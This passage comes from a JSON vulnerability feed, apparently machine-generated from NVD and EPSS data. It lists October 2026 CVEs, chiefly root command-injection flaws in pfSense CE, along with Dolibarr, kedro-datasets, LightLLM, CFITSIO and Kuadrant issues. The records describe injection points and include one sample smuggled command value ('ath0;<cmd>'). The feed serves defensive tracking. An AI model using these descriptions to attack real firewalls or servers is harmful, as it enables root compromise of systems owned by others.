pfSense CE 2.7.0 through 2.9.0 contains an OS command injection vulnerability that allows authenticated users with Traffic Shaper Limiters privileges to execute root...","summary":"Netgate pfSense CE 2.7.0 through 2.9.0 contains an OS command injection vulnerability that allows authenticated users with Traffic Shaper Limiters privileges to execute root commands by tampering with the limiter number field. Attackers can submit a malicious hidden 'number' value when editing a limiter, then delete it so delete_queue() passes the unquoted value to dnctl via /bin/sh as root.","detail":"Netgate pfSense CE 2.7.0 through 2.9.0 contains an OS command injection vulnerability that allows authenticated users with Traffic Shaper Limiters privileges to execute root commands by tampering with the limiter number field. Attackers can submit a malicious hidden 'number' value when editing a limiter, then delete it so delete_queue() passes the unquoted value to dnctl via /bin/sh as root.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:34.210Z","updatedAt":"2026-10-20T15:38:34.380Z","regions":["Global"],"vendor":"pfsense","product":"pfsense","stacks":["pfSense","pfsense"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111218","asOf":"2026-10-20T15:38:34.380Z"},"epss":{"probability":0.08649,"percentile":0.95076,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111218&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111218","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111218","type":"primary","publishedAt":"2026-10-15T19:17:34.210Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111218&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111218, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111217","cveId":"CVE-2026-111217","aliases":[],"kind":"vulnerability","title":"Netgate pfSense CE through 2.9.0 contains an OS command injection vulnerability that allows authenticated users with Virtual IP edit privileges to execute commands as root by...","summary":"Netgate pfSense CE through 2.9.0 contains an OS command injection vulnerability that allows authenticated users with Virtual IP edit privileges to execute commands as root by storing an unvalidated CARP VHID. Attackers can supply a VHID containing shell metacharacters that executes via interface_ipalias_configure() ifconfig calls or get_carp_interface_status() when CARP status is rendered.","detail":"Netgate pfSense CE through 2.9.0 contains an OS command injection vulnerability that allows authenticated users with Virtual IP edit privileges to execute commands as root by storing an unvalidated CARP VHID. Attackers can supply a VHID containing shell metacharacters that executes via interface_ipalias_configure() ifconfig calls or get_carp_interface_status() when CARP status is rendered.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:34.067Z","updatedAt":"2026-10-21T01:17:20.133Z","regions":["Global"],"vendor":"pfsense","product":"pfsense","stacks":["pfSense","pfsense"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111217","asOf":"2026-10-21T01:17:20.133Z"},"epss":{"probability":0.06959,"percentile":0.94078,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111217&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111217","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111217","type":"primary","publishedAt":"2026-10-15T19:17:34.067Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111217&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111217, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111216","cveId":"CVE-2026-111216","aliases":[],"kind":"vulnerability","title":"Netgate pfSense CE through 2.9.0 contains an OS command injection vulnerability that allows authenticated users with gateway edit privileges to execute commands as root by...","summary":"Netgate pfSense CE through 2.9.0 contains an OS command injection vulnerability that allows authenticated users with gateway edit privileges to execute commands as root by injecting shell metacharacters into an IPv6 link-local zone index. Attackers can set a gateway Monitor IP whose unvalidated zone carries a payload, which start_dpinger() passes unescaped to the dpinger shell command when monitoring is applied.","detail":"Netgate pfSense CE through 2.9.0 contains an OS command injection vulnerability that allows authenticated users with gateway edit privileges to execute commands as root by injecting shell metacharacters into an IPv6 link-local zone index. Attackers can set a gateway Monitor IP whose unvalidated zone carries a payload, which start_dpinger() passes unescaped to the dpinger shell command when monitoring is applied.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:33.907Z","updatedAt":"2026-10-26T16:17:13.240Z","regions":["Global"],"vendor":"pfsense","product":"pfsense","stacks":["pfSense","pfsense"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111216","asOf":"2026-10-26T16:17:13.240Z"},"epss":{"probability":0.04721,"percentile":0.9177,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111216&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111216","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111216","type":"primary","publishedAt":"2026-10-15T19:17:33.907Z","checkedAt":"2026-10-26T17:20:56.094Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111216&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111216, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111215","cveId":"CVE-2026-111215","aliases":[],"kind":"vulnerability","title":"Netgate pfSense CE through 2.9.0 contains an OS command injection vulnerability that allows authenticated users to execute commands as root by supplying a crafted wireless parent...","summary":"Netgate pfSense CE through 2.9.0 contains an OS command injection vulnerability that allows authenticated users to execute commands as root by supplying a crafted wireless parent interface name. Attackers with limited Wireless Edit or Interface Assignments privileges can submit values like ath0;<cmd> via interfaces_wireless_edit.php or interfaces_assign.php, which interface_wireless_clone() interpolates unescaped into an ifconfig shell command.","detail":"Netgate pfSense CE through 2.9.0 contains an OS command injection vulnerability that allows authenticated users to execute commands as root by supplying a crafted wireless parent interface name. Attackers with limited Wireless Edit or Interface Assignments privileges can submit values like ath0;<cmd> via interfaces_wireless_edit.php or interfaces_assign.php, which interface_wireless_clone() interpolates unescaped into an ifconfig shell command.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:33.757Z","updatedAt":"2026-10-19T20:43:50.450Z","regions":["Global"],"vendor":"pfsense","product":"pfsense","stacks":["pfSense","pfsense"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111215","asOf":"2026-10-19T20:43:50.450Z"},"epss":{"probability":0.06248,"percentile":0.93507,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111215&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111215","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111215","type":"primary","publishedAt":"2026-10-15T19:17:33.757Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111215&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111215, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111214","cveId":"CVE-2026-111214","aliases":[],"kind":"vulnerability","title":"Netgate pfSense CE 2.7.0 through 2.9.0 contains an OS command injection vulnerability that allows authenticated users with QinQ edit privilege to run commands by storing an...","summary":"Netgate pfSense CE 2.7.0 through 2.9.0 contains an OS command injection vulnerability that allows authenticated users with QinQ edit privilege to run commands by storing an unvalidated parent interface name. Attackers can save a crafted 'if' value, then edit the QinQ entry so it is interpolated into ifconfig shell commands, executing commands as root.","detail":"Netgate pfSense CE 2.7.0 through 2.9.0 contains an OS command injection vulnerability that allows authenticated users with QinQ edit privilege to run commands by storing an unvalidated parent interface name. Attackers can save a crafted 'if' value, then edit the QinQ entry so it is interpolated into ifconfig shell commands, executing commands as root.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:33.603Z","updatedAt":"2026-10-19T20:44:11.483Z","regions":["Global"],"vendor":"pfsense","product":"pfsense","stacks":["pfSense","pfsense"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111214","asOf":"2026-10-19T20:44:11.483Z"},"epss":{"probability":0.10826,"percentile":0.95818,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111214&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111214","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111214","type":"primary","publishedAt":"2026-10-15T19:17:33.603Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111214&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111214, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111170","cveId":"CVE-2026-111170","aliases":[],"kind":"vulnerability","title":"kedro-datasets from 9.3.0 through 9.6.0 contains a path traversal vulnerability in MatplotlibDataset.save() that allows attackers to write files outside the dataset directory by...","summary":"kedro-datasets from 9.3.0 through 9.6.0 contains a path traversal vulnerability in MatplotlibDataset.save() that allows attackers to write files outside the dataset directory by supplying absolute plot names. Because validate_sub_path() strips leading slashes while pathlib's join discards the base path, attackers can create or overwrite files anywhere the process can write.","detail":"kedro-datasets from 9.3.0 through 9.6.0 contains a path traversal vulnerability in MatplotlibDataset.save() that allows attackers to write files outside the dataset directory by supplying absolute plot names. Because validate_sub_path() strips leading slashes while pathlib's join discards the base path, attackers can create or overwrite files anywhere the process can write.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:33.153Z","updatedAt":"2026-10-21T02:17:04.873Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111170","asOf":"2026-10-21T02:17:04.873Z"},"epss":{"probability":0.00389,"percentile":0.32751,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111170&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111170","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111170","type":"primary","publishedAt":"2026-10-15T19:17:33.153Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111170&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111170, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111160","cveId":"CVE-2026-111160","aliases":[],"kind":"vulnerability","title":"LightLLM through 1.2.0 contains a denial of service vulnerability that allows unauthenticated attackers to crash the inference worker by supplying the internal pd_kv_trans_params...","summary":"LightLLM through 1.2.0 contains a denial of service vulnerability that allows unauthenticated attackers to crash the inference worker by supplying the internal pd_kv_trans_params field to the /generate endpoint. Attackers can send a single request whose parameters cause pickle.loads to fail in InferSamplingParams, killing the inference thread while /health stays up and all later requests hang until restart.","detail":"LightLLM through 1.2.0 contains a denial of service vulnerability that allows unauthenticated attackers to crash the inference worker by supplying the internal pd_kv_trans_params field to the /generate endpoint. Attackers can send a single request whose parameters cause pickle.loads to fail in InferSamplingParams, killing the inference thread while /health stays up and all later requests hang until restart.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:31.100Z","updatedAt":"2026-10-21T02:17:04.597Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111160","asOf":"2026-10-21T02:17:04.597Z"},"epss":{"probability":0.00418,"percentile":0.35807,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111160&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111160","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111160","type":"primary","publishedAt":"2026-10-15T19:17:31.100Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111160&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111160, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111125","cveId":"CVE-2026-111125","aliases":[],"kind":"vulnerability","title":"CFITSIO through 4.7.0 contains a heap-based out-of-bounds read vulnerability in the HCOMPRESS tile decoder that allows attackers to read past the compressed tile buffer via...","summary":"CFITSIO through 4.7.0 contains a heap-based out-of-bounds read vulnerability in the HCOMPRESS tile decoder that allows attackers to read past the compressed tile buffer via input_nnybble in fits_hdecompress.c. Attackers can supply a crafted FITS file with ZCMPTYPE HCOMPRESS_1 declaring oversized tile geometry to crash applications calling fits_read_pix or disclose limited heap memory.","detail":"CFITSIO through 4.7.0 contains a heap-based out-of-bounds read vulnerability in the HCOMPRESS tile decoder that allows attackers to read past the compressed tile buffer via input_nnybble in fits_hdecompress.c. Attackers can supply a crafted FITS file with ZCMPTYPE HCOMPRESS_1 declaring oversized tile geometry to crash applications calling fits_read_pix or disclose limited heap memory.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:25.780Z","updatedAt":"2026-10-21T02:17:03.647Z","regions":["Global"],"vendor":"nasa","product":"cfitsio","stacks":["Nasa","cfitsio"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111125","asOf":"2026-10-21T02:17:03.647Z"},"epss":{"probability":0.00245,"percentile":0.15571,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111125&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111125","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111125","type":"primary","publishedAt":"2026-10-15T19:17:25.780Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111125&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111125, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110874","cveId":"CVE-2026-110874","aliases":[],"kind":"vulnerability","title":"Dolibarr before 23.0.4 contains a PHP object injection vulnerability in jsonOrUnserialize() in functions.lib.php, which calls unserialize() without class restrictions when...","summary":"Dolibarr before 23.0.4 contains a PHP object injection vulnerability in jsonOrUnserialize() in functions.lib.php, which calls unserialize() without class restrictions when json_decode() fails. Attackers able to write stored extrafields, export configurations or blocked log entries can plant serialized objects that trigger gadget chains for code execution or file manipulation.","detail":"Dolibarr before 23.0.4 contains a PHP object injection vulnerability in jsonOrUnserialize() in functions.lib.php, which calls unserialize() without class restrictions when json_decode() fails. Attackers able to write stored extrafields, export configurations or blocked log entries can plant serialized objects that trigger gadget chains for code execution or file manipulation.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:24.353Z","updatedAt":"2026-10-15T20:17:09.127Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110874","asOf":"2026-10-15T20:17:09.127Z"},"epss":{"probability":0.0051,"percentile":0.43228,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110874&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110874","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110874","type":"primary","publishedAt":"2026-10-15T19:17:24.353Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110874&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110874, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108334","cveId":"CVE-2026-108334","aliases":[],"kind":"vulnerability","title":"A flaw was found in the internal WebAssembly (WASM) shim used by the Kuadrant operator. When generating the CEL predicate that determines whether Gateway-level authentication and...","summary":"A flaw was found in the internal WebAssembly (WASM) shim used by the Kuadrant operator. When generating the CEL predicate that determines whether Gateway-level authentication and rate limiting should run, the shim does not correctly escape values from HTTPRoute match fields. A user who can create or modify an HTTPRoute attached to a shared Gateway can provide a crafted path, header, or query match value that causes the predicate to skip those checks. The request is still forwarded to the route’s backend.","detail":"A flaw was found in the internal WebAssembly (WASM) shim used by the Kuadrant operator. When generating the CEL predicate that determines whether Gateway-level authentication and rate limiting should run, the shim does not correctly escape values from HTTPRoute match fields. A user who can create or modify an HTTPRoute attached to a shared Gateway can provide a crafted path, header, or query match value that causes the predicate to skip those checks. The request is still forwarded to the route’s backend.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:20.187Z","updatedAt":"2026-10-23T05:17:13.103Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108334","asOf":"2026-10-23T05:17:13.103Z"},"epss":{"probability":0.00343,"percentile":0.27608,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108334&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 